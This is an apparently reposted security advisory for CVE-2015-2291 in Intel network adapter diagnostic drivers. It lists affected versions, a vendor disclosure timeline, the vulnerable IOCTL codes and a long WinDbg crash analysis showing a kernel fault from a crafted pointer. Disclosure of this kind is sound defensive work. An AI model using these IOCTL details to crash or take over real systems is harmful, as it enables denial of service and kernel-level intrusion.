HackDig : Dig high-quality web security articles for hacker

Intel Network Adapter Diagnostic Driver IOCTL Handling Vulnerability

2015-03-17 20:55

/*

Intel Network Adapter Diagnostic Driver IOCTL Handling Vulnerability
Vendor: Intel
Product webpage: http://www.intel.com
Affected product(s):
Network Adapter Driver for Windows XP
Network Adapter Driver for Windows 7
Network Adapter Driver for Windows 8
Network Adapter Driver for Windows 2008/R2
Network Adapter Driver for Windows 2012/R2
Affected version(s):
Intel(R) iQVW64.SYS v1.03.0.7
Intel(R) iQVW32.SYS v1.03.0.7
Tested Operating systems:
Windows XP SP3 (32-bit)
Windows 7 SP1 (32/64-bit)
Date: 14/03/2015
Credits: Glafkos Charalambous
CVE: CVE-2015-2291

Disclosure Timeline:
10-06-2014: Vendor Notification
21-06-2014: Vendor Response/Feedback
08-08-2014: Vendor Response/Feedback
26-08-2014: Requesting Status/No Vendor Response
30-09-2014: Requesting Status/No Vendor Response
22-10-2014: Requesting Status/No Vendor Response
10-01-2015: Requesting Status/No Vendor Response
15-01-2015: Requesting Status/No Vendor Response
14-03-2015: CVE Requested
14-03-2015: CVE Assigned
14-03-2015: Public Disclosure

Description:
A vulnerability in iqvw32.sys and iqvw64e.sys drivers has been discovered in Intel Network Adapter Driver.

The vulnerability exists due to insuffiecient input buffer validation when the driver processes IOCTL codes 0x80862013,

0x8086200B, 0x8086200F, 0x80862007 using METHOD_NEITHER and due to insecure permissions allowing everyone read and write

access to privileged use only functionality.

Attackers can exploit this issue to cause a Denial of Service or possibly execute arbitrary code in kernel space.


IOCTL 0x80862013
----------------
Microsoft (R) Windows Debugger Version 6.2.9200.20512 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

Opened \.pipecom_2
Waiting to reconnect...
Connected to Windows 7 7601 x64 target at (Thu Feb 26 18:33:59.291 2015 (UTC + 2:00)), ptr64 TRUE
Kernel Debugger connection established.
Symbol search path is:
srv*k:symbols*http://msdl.microsoft.com/download/symbols;SRV*C:Usersx414141AppDataLocalTempsymbolsgoogle*http:/
/chromium-browser-symsrv.commondatastorage.googleapis.com;SRV*C:Usersx414141AppDataLocalTempsymbolsmicrosoft*htt
p://msdl.microsoft.com/download/symbols
Executable search path is:
Windows 7 Kernel Version 7601 MP (1 procs) Free x64
Built by: 7601.18700.amd64fre.win7sp1_gdr.141211-1742
Machine Name:
Kernel base = 0xfffff800`03655000 PsLoadedModuleList = 0xfffff800`03898890
System Uptime: not available
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x0000003b
(0x00000000C0000005,0xFFFFF88005A0BFD2,0xFFFFF8800653A9C0,0x0000000000000000)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Connected to Windows 7 7601 x64 target at (Thu Feb 26 20:29:05.978 2015 (UTC + 2:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
...............................
Loading User Symbols
.....
Loading unloaded module list
....Unable to enumerate user-mode unloaded modules, Win32 error 0n30
Loading Wow64 Symbols
.....
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

Use !analyze -v to get detailed debugging information.

BugCheck 3B, {c0000005, fffff88005a0bfd2, fffff8800653a9c0, 0}

*** ERROR: Module load completed but symbols could not be loaded for iqvw64e.sys

Followup: MachineOwner
---------

nt!RtlpBreakWithStatusInstruction:
fffff800`036c3cb0 cc int 3
3: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff88005a0bfd2, Address of the instruction which caused the bugcheck
Arg3: fffff8800653a9c0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.

Debugging Details:
------------------

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be
%s.

FAULTING_IP:
iqvw64e+3fd2
fffff880`05a0bfd2 488b11 mov rdx,qword ptr [rcx]

CONTEXT: fffff8800653a9c0 -- (.cxr 0xfffff8800653a9c0)
rax=0000f88005a696d1 rbx=0000000000000001 rcx=00000000deadbeef
rdx=0000000080862013 rsi=fffffa804d1084d0 rdi=00000000deadbeef
rip=fffff88005a0bfd2 rsp=fffff8800653b3a0 rbp=fffff8800653bb60
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=0000000000000003 r13=0000000000000001
r14=0000000000000001 r15=fffffa804aac7b00
iopl=0 nv up ei pl nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010202
iqvw64e+0x3fd2:
fffff880`05a0bfd2 488b11 mov rdx,qword ptr [rcx] ds:002b:00000000`deadbeef=????????????????
Resetting default scope

DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT

BUGCHECK_STR: 0x3B

PROCESS_NAME: ConsoleApplica

CURRENT_IRQL: 2

LAST_CONTROL_TRANSFER: from fffff88005a091ac to fffff88005a0bfd2

STACK_TEXT:
fffff880`0653b3a0 fffff880`05a091ac : fffffa80`4aac7b00 00000000`00000001 fffffa80`4d1084d0 fffffa80`4d01e160 :
iqvw64e+0x3fd2
fffff880`0653b8a0 fffff800`039e80f7 : 00000000`80862013 fffff880`0653bb60 fffffa80`4d1084d0 fffffa80`4d01e160 :
iqvw64e+0x11ac
fffff880`0653b8d0 fffff800`039e8956 : fffff680`003b5ee8 00000000`00000000 00000000`00000000 00000000`00000000 :
nt!IopXxxControlFile+0x607
fffff880`0653ba00 fffff800`036cb113 : 00000000`0021df01 0000007f`ffffffff 00000000`0021df00 00000980`00000000 :
nt!NtDeviceIoControlFile+0x56
fffff880`0653ba70 00000000`73b02e09 : 00000000`73b02944 00000000`775a01b4 00000000`73b70023 00000000`00000246 :
nt!KiSystemServiceCopyEnd+0x13
00000000`0021e898 00000000`73b02944 : 00000000`775a01b4 00000000`73b70023 00000000`00000246 00000000`001dff7c :
wow64cpu!CpupSyscallStub+0x9
00000000`0021e8a0 00000000`73b7d286 : 00000000`00000000 00000000`73b01920 00000000`0021eb30 00000000`773decf1 :
wow64cpu!DeviceIoctlFileFault+0x31
00000000`0021e960 00000000`73b7c69e : 00000000`00000000 00000000`00000000 00000000`73b74b10 00000000`7ffe0030 :
wow64!RunCpuSimulation+0xa
00000000`0021e9b0 00000000`773f4966 : 00000000`003331f0 00000000`00000000 00000000`774e2670 00000000`774b5978 :
wow64!Wow64LdrpInitialize+0x42a
00000000`0021ef00 00000000`773f1937 : 00000000`00000000 00000000`773f4071 00000000`0021f4b0 00000000`00000000 :
ntdll!LdrpInitializeProcess+0x17e3
00000000`0021f3f0 00000000`773dc34e : 00000000`0021f4b0 00000000`00000000 00000000`7efdf000 00000000`00000000 : ntdll!
?? ::FNODOBFM::`string'+0x28ff0
00000000`0021f460 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :
ntdll!LdrInitializeThunk+0xe


FOLLOWUP_IP:
iqvw64e+3fd2
fffff880`05a0bfd2 488b11 mov rdx,qword ptr [rcx]

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: iqvw64e+3fd2

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: iqvw64e

IMAGE_NAME: iqvw64e.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 5284eac3

STACK_COMMAND: .cxr 0xfffff8800653a9c0 ; kb

FAILURE_BUCKET_ID: X64_0x3B_iqvw64e+3fd2

BUCKET_ID: X64_0x3B_iqvw64e+3fd2

Followup: MachineOwner
---------

3: kd> u fffff880`05a0bfd2
iqvw64e+0x3fd2:
fffff880`05a0bfd2 488b11 mov rdx,qword ptr [rcx]
fffff880`05a0bfd5 488d0d14160000 lea rcx,[iqvw64e+0x55f0 (fffff880`05a0d5f0)]
fffff880`05a0bfdc e84fdfffff call iqvw64e+0x1f30 (fffff880`05a09f30)
fffff880`05a0bfe1 488b17 mov rdx,qword ptr [rdi]
fffff880`05a0bfe4 488d42ff lea rax,[rdx-1]
fffff880`05a0bfe8 4883f807 cmp rax,7
fffff880`05a0bfec 0f8718020000 ja iqvw64e+0x420a (fffff880`05a0c20a)
fffff880`05a0bff2 488d0d07c0ffff lea rcx,[iqvw64e (fffff880`05a08000)]

3: kd> !for_each_frame .frame /r @$Frame
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
00 fffff880`06539988 fffff800`037bba62 nt!RtlpBreakWithStatusInstruction
00 fffff880`06539988 fffff800`037bba62 nt!RtlpBreakWithStatusInstruction
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=fffffa804c800060 rdi=00000000c0000000
rip=fffff800036c3cb0 rsp=fffff88006539988 rbp=0000000000000000
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=000000000000003b r13=0000000000000001
r14=0000000040000082 r15=0000000000000003
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!RtlpBreakWithStatusInstruction:
fffff800`036c3cb0 cc int 3
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
01 fffff880`06539990 fffff800`037bc84e nt!KiBugCheckDebugBreak+0x12
01 fffff880`06539990 fffff800`037bc84e nt!KiBugCheckDebugBreak+0x12
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=fffffa804c800060 rdi=00000000c0000000
rip=fffff800037bba62 rsp=fffff88006539990 rbp=0000000000000000
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=000000000000003b r13=0000000000000001
r14=0000000040000082 r15=0000000000000003
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!KiBugCheckDebugBreak+0x12:
fffff800`037bba62 eb75 jmp nt!KiBugCheckDebugBreak+0x89 (fffff800`037bbad9)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
02 fffff880`065399f0 fffff800`036cbf84 nt!KeBugCheck2+0x71e
02 fffff880`065399f0 fffff800`036cbf84 nt!KeBugCheck2+0x71e
rax=0000000000000000 rbx=0000000000000065 rcx=0000000000000003
rdx=000000000000008a rsi=fffffa804c800060 rdi=00000000c0000000
rip=fffff800037bc84e rsp=fffff880065399f0 rbp=0000000000000000
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=000000000000003b r13=0000000000000001
r14=0000000040000082 r15=0000000000000003
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!KeBugCheck2+0x71e:
fffff800`037bc84e eb11 jmp nt!KeBugCheck2+0x731 (fffff800`037bc861)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
03 fffff880`0653a0c0 fffff800`036cb429 nt!KeBugCheckEx+0x104
03 fffff880`0653a0c0 fffff800`036cb429 nt!KeBugCheckEx+0x104
rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
rip=fffff800036cbf84 rsp=fffff8800653a0c0 rbp=0000000000000000
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
r14=fffff800036cad00 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!KeBugCheckEx+0x104:
fffff800`036cbf84 90 nop
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
04 fffff880`0653a100 fffff800`036cad7c nt!KiBugCheckDispatch+0x69
04 fffff880`0653a100 fffff800`036cad7c nt!KiBugCheckDispatch+0x69
rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
rip=fffff800036cb429 rsp=fffff8800653a100 rbp=0000000000000000
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
r14=fffff800036cad00 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!KiBugCheckDispatch+0x69:
fffff800`036cb429 90 nop
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
05 fffff880`0653a240 fffff800`036f6a4d nt!KiSystemServiceHandler+0x7c
05 fffff880`0653a240 fffff800`036f6a4d nt!KiSystemServiceHandler+0x7c
rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
rip=fffff800036cad7c rsp=fffff8800653a240 rbp=0000000000000000
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
r14=fffff800036cad00 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!KiSystemServiceHandler+0x7c:
fffff800`036cad7c b801000000 mov eax,1
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
06 fffff880`0653a280 fffff800`036f5825 nt!RtlpExecuteHandlerForException+0xd
06 fffff880`0653a280 fffff800`036f5825 nt!RtlpExecuteHandlerForException+0xd
rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
rip=fffff800036f6a4d rsp=fffff8800653a280 rbp=0000000000000000
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
r14=fffff800036cad00 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!RtlpExecuteHandlerForException+0xd:
fffff800`036f6a4d 90 nop
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
07 fffff880`0653a2b0 fffff800`037067b1 nt!RtlDispatchException+0x415
07 fffff880`0653a2b0 fffff800`037067b1 nt!RtlDispatchException+0x415
rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
rip=fffff800036f5825 rsp=fffff8800653a2b0 rbp=0000000000000000
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
r14=fffff800036cad00 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!RtlDispatchException+0x415:
fffff800`036f5825 0fba257fc51d0017 bt dword ptr [nt!NtGlobalFlag (fffff800`038d1dac)],17h
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
08 fffff880`0653a990 fffff800`036cb502 nt!KiDispatchException+0x135
08 fffff880`0653a990 fffff800`036cb502 nt!KiDispatchException+0x135
rax=0000000000000000 rbx=fffff8800653b168 rcx=0000000000000003
rdx=000000000000008a rsi=fffff8800653b210 rdi=00000000deadbeef
rip=fffff800037067b1 rsp=fffff8800653a990 rbp=fffff8800653aec0
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=fffff8800653a9c0 r13=000000000010001f
r14=fffff8800653b030 r15=fffffa804aac7b00
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!KiDispatchException+0x135:
fffff800`037067b1 84c0 test al,al
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
09 fffff880`0653b030 fffff800`036ca07a nt!KiExceptionDispatch+0xc2
09 fffff880`0653b030 fffff800`036ca07a nt!KiExceptionDispatch+0xc2
rax=0000000000000000 rbx=0000000000000001 rcx=0000000000000003
rdx=000000000000008a rsi=fffffa804d1084d0 rdi=00000000deadbeef
rip=fffff800036cb502 rsp=fffff8800653b030 rbp=fffff8800653b290
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=0000000000000003 r13=0000000000000001
r14=0000000000000001 r15=fffffa804aac7b00
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!KiExceptionDispatch+0xc2:
fffff800`036cb502 488d8c2400010000 lea rcx,[rsp+100h]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0a fffff880`0653b210 fffff880`05a0bfd2 nt!KiPageFault+0x23a
0a fffff880`0653b210 fffff880`05a0bfd2 nt!KiPageFault+0x23a
rax=0000000000000000 rbx=0000000000000001 rcx=0000000000000003
rdx=000000000000008a rsi=fffffa804d1084d0 rdi=00000000deadbeef
rip=fffff800036ca07a rsp=fffff8800653b210 rbp=fffff8800653b290
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=0000000000000003 r13=0000000000000001
r14=0000000000000001 r15=fffffa804aac7b00
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!KiPageFault+0x23a:
fffff800`036ca07a 440f20c0 mov rax,cr8
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0b fffff880`0653b3a0 fffff880`05a091ac iqvw64e+0x3fd2
0b fffff880`0653b3a0 fffff880`05a091ac iqvw64e+0x3fd2
rax=0000f88005a696d1 rbx=0000000000000001 rcx=00000000deadbeef
rdx=0000000080862013 rsi=fffffa804d1084d0 rdi=00000000deadbeef
rip=fffff88005a0bfd2 rsp=fffff8800653b3a0 rbp=fffff8800653bb60
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=0000000000000003 r13=0000000000000001
r14=0000000000000001 r15=fffffa804aac7b00
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
iqvw64e+0x3fd2:
fffff880`05a0bfd2 488b11 mov rdx,qword ptr [rcx]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0c fffff880`0653b8a0 fffff800`039e80f7 iqvw64e+0x11ac
0c fffff880`0653b8a0 fffff800`039e80f7 iqvw64e+0x11ac
rax=0000f88005a696d1 rbx=fffffa804d1084d0 rcx=00000000deadbeef
rdx=0000000080862013 rsi=fffffa804d1084d0 rdi=fffffa804d01e160
rip=fffff88005a091ac rsp=fffff8800653b8a0 rbp=fffff8800653bb60
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=0000000000000003 r13=0000000000000001
r14=0000000000000001 r15=fffffa804aac7b00
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
iqvw64e+0x11ac:
fffff880`05a091ac 8bd8 mov ebx,eax
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0d fffff880`0653b8d0 fffff800`039e8956 nt!IopXxxControlFile+0x607
0d fffff880`0653b8d0 fffff800`039e8956 nt!IopXxxControlFile+0x607
rax=0000f88005a696d1 rbx=fffffa804d1084d0 rcx=00000000deadbeef
rdx=0000000080862013 rsi=fffffa804d1084d0 rdi=fffffa804d01e160
rip=fffff800039e80f7 rsp=fffff8800653b8d0 rbp=fffff8800653bb60
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=0000000000000003 r13=0000000000000001
r14=0000000000000001 r15=fffffa804aac7b00
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!IopXxxControlFile+0x607:
fffff800`039e80f7 448be0 mov r12d,eax
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0e fffff880`0653ba00 fffff800`036cb113 nt!NtDeviceIoControlFile+0x56
0e fffff880`0653ba00 fffff800`036cb113 nt!NtDeviceIoControlFile+0x56
rax=0000f88005a696d1 rbx=fffffa804c800060 rcx=00000000deadbeef
rdx=0000000080862013 rsi=000000000021e8b8 rdi=fffff8800653ba88
rip=fffff800039e8956 rsp=fffff8800653ba00 rbp=fffff8800653bb60
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000007efdb000 r13=000000000021fd20
r14=000000000021e910 r15=0000000073b02450
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!NtDeviceIoControlFile+0x56:
fffff800`039e8956 4883c468 add rsp,68h
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0f fffff880`0653ba70 00000000`73b02e09 nt!KiSystemServiceCopyEnd+0x13
0f fffff880`0653ba70 00000000`73b02e09 nt!KiSystemServiceCopyEnd+0x13
rax=0000f88005a696d1 rbx=fffffa804c800060 rcx=00000000deadbeef
rdx=0000000080862013 rsi=000000000021e8b8 rdi=fffff8800653ba88
rip=fffff800036cb113 rsp=fffff8800653ba70 rbp=fffff8800653bb60
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000007efdb000 r13=000000000021fd20
r14=000000000021e910 r15=0000000073b02450
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
nt!KiSystemServiceCopyEnd+0x13:
fffff800`036cb113 65ff042538220000 inc dword ptr gs:[2238h]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
10 00000000`0021e898 00000000`73b02944 wow64cpu!CpupSyscallStub+0x9
10 00000000`0021e898 00000000`73b02944 wow64cpu!CpupSyscallStub+0x9
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
rdx=0000000080862013 rsi=0000000000000000 rdi=0000000000000034
rip=0000000073b02e09 rsp=000000000021e898 rbp=00000000001dfe68
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000007efdb000 r13=000000000021fd20
r14=000000000021e910 r15=0000000073b02450
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
wow64cpu!CpupSyscallStub+0x9:
00000000`73b02e09 c3 ret
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
11 00000000`0021e8a0 00000000`73b7d286 wow64cpu!DeviceIoctlFileFault+0x31
11 00000000`0021e8a0 00000000`73b7d286 wow64cpu!DeviceIoctlFileFault+0x31
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
rdx=0000000080862013 rsi=0000000000000000 rdi=0000000000000034
rip=0000000073b02944 rsp=000000000021e8a0 rbp=00000000001dfe68
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000007efdb000 r13=000000000021fd20
r14=000000000021e910 r15=0000000073b02450
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
wow64cpu!DeviceIoctlFileFault+0x31:
00000000`73b02944 488b4c2420 mov rcx,qword ptr [rsp+20h]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
12 00000000`0021e960 00000000`73b7c69e wow64!RunCpuSimulation+0xa
12 00000000`0021e960 00000000`73b7c69e wow64!RunCpuSimulation+0xa
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
rdx=0000000080862013 rsi=0000000000000002 rdi=000000000021f4b0
rip=0000000073b7d286 rsp=000000000021e960 rbp=000000000021e9d0
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000000021fd20 r13=0000000000000000
r14=0000000000000001 r15=ffffffffffffffff
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
wow64!RunCpuSimulation+0xa:
00000000`73b7d286 eb00 jmp wow64!RunCpuSimulation+0xc (00000000`73b7d288)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
13 00000000`0021e9b0 00000000`773f4966 wow64!Wow64LdrpInitialize+0x42a
13 00000000`0021e9b0 00000000`773f4966 wow64!Wow64LdrpInitialize+0x42a
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
rdx=0000000080862013 rsi=0000000000000002 rdi=000000000021f4b0
rip=0000000073b7c69e rsp=000000000021e9b0 rbp=000000000021e9d0
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000000021fd20 r13=0000000000000000
r14=0000000000000001 r15=ffffffffffffffff
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
wow64!Wow64LdrpInitialize+0x42a:
00000000`73b7c69e cc int 3
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
14 00000000`0021ef00 00000000`773f1937 ntdll!LdrpInitializeProcess+0x17e3
14 00000000`0021ef00 00000000`773f1937 ntdll!LdrpInitializeProcess+0x17e3
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
rdx=0000000080862013 rsi=00000000774e2670 rdi=00000000774b5978
rip=00000000773f4966 rsp=000000000021ef00 rbp=00000000773b0000
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=00000000774e2520 r13=0000000000000000
r14=00000000774e2650 r15=000000007efdf000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
ntdll!LdrpInitializeProcess+0x17e3:
00000000`773f4966 eb00 jmp ntdll!LdrpInitializeProcess+0x1c12 (00000000`773f4968)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
15 00000000`0021f3f0 00000000`773dc34e ntdll! ?? ::FNODOBFM::`string'+0x28ff0
15 00000000`0021f3f0 00000000`773dc34e ntdll! ?? ::FNODOBFM::`string'+0x28ff0
rax=0000f88005a696d1 rbx=000000007efdf000 rcx=00000000deadbeef
rdx=0000000080862013 rsi=000000007efdb000 rdi=0000000000000000
rip=00000000773f1937 rsp=000000000021f3f0 rbp=0000000000000000
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000000021f4b0 r13=00000000773b0000
r14=0000000000000001 r15=000000007740a220
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
ntdll! ?? ::FNODOBFM::`string'+0x28ff0:
00000000`773f1937 89442430 mov dword ptr [rsp+30h],eax
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
16 00000000`0021f460 00000000`00000000 ntdll!LdrInitializeThunk+0xe
16 00000000`0021f460 00000000`00000000 ntdll!LdrInitializeThunk+0xe
rax=0000f88005a696d1 rbx=000000000021f4b0 rcx=00000000deadbeef
rdx=0000000080862013 rsi=0000000000000000 rdi=0000000000000000
rip=00000000773dc34e rsp=000000000021f460 rbp=0000000000000000
r8=fffffa804b0f4d70 r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
ntdll!LdrInitializeThunk+0xe:
00000000`773dc34e b201 mov dl,1
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
00 fffff880`06539988 fffff800`037bba62 nt!RtlpBreakWithStatusInstruction

3: kd> dd fffff8800653b8d0
fffff880`0653b8d0 80862013 00000000 0653bb60 fffff880
fffff880`0653b8e0 4d1084d0 fffffa80 4d01e160 fffffa80
fffff880`0653b8f0 746c6644 00000000 0653b928 fffff880
fffff880`0653b900 0653b968 fffff880 00000000 00000000
fffff880`0653b910 00000000 00000000 00000001 00000000
fffff880`0653b920 4c804e01 00000000 4d1084d0 fffffa80
fffff880`0653b930 00000000 00000000 00000000 00000000
fffff880`0653b940 4d01e160 fffffa80 76bdd0af 00000000

3: kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS fffffa8048f5f740
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00187000 ObjectTable: fffff8a0000017f0 HandleCount: 535.
Image: System
.
.
.

PROCESS fffffa804d0f29e0
SessionId: 1 Cid: 0d9c Peb: 7efdf000 ParentCid: 0afc
DirBase: 1aac4b000 ObjectTable: fffff8a016893450 HandleCount: 13.
Image: ConsoleApplication7.exe
.
.
.

3: kd> !handle fffffa804d0f29e0 7

PROCESS fffffa804d0f29e0
SessionId: 1 Cid: 0d9c Peb: 7efdf000 ParentCid: 0afc
DirBase: 1aac4b000 ObjectTable: fffff8a016893450 HandleCount: 13.
Image: ConsoleApplication7.exe

Handle table at fffff8a016893450 with 13 entries in use

Invalid Handle: 0x4d0f29e0

3: kd> !process fffffa804d0f29e0 f
PROCESS fffffa804d0f29e0
SessionId: 1 Cid: 0d9c Peb: 7efdf000 ParentCid: 0afc
DirBase: 1aac4b000 ObjectTable: fffff8a016893450 HandleCount: 13.
Image: ConsoleApplication7.exe
VadRoot fffffa804a9eb220 Vads 30 Clone 0 Private 110. Modified 0. Locked 0.
DeviceMap fffff8a0022b5570
Token fffff8a01685d060
ElapsedTime 00:00:39.608
UserTime 00:00:00.000
KernelTime 00:00:00.000
QuotaPoolUsage[PagedPool] 20128
QuotaPoolUsage[NonPagedPool] 3360
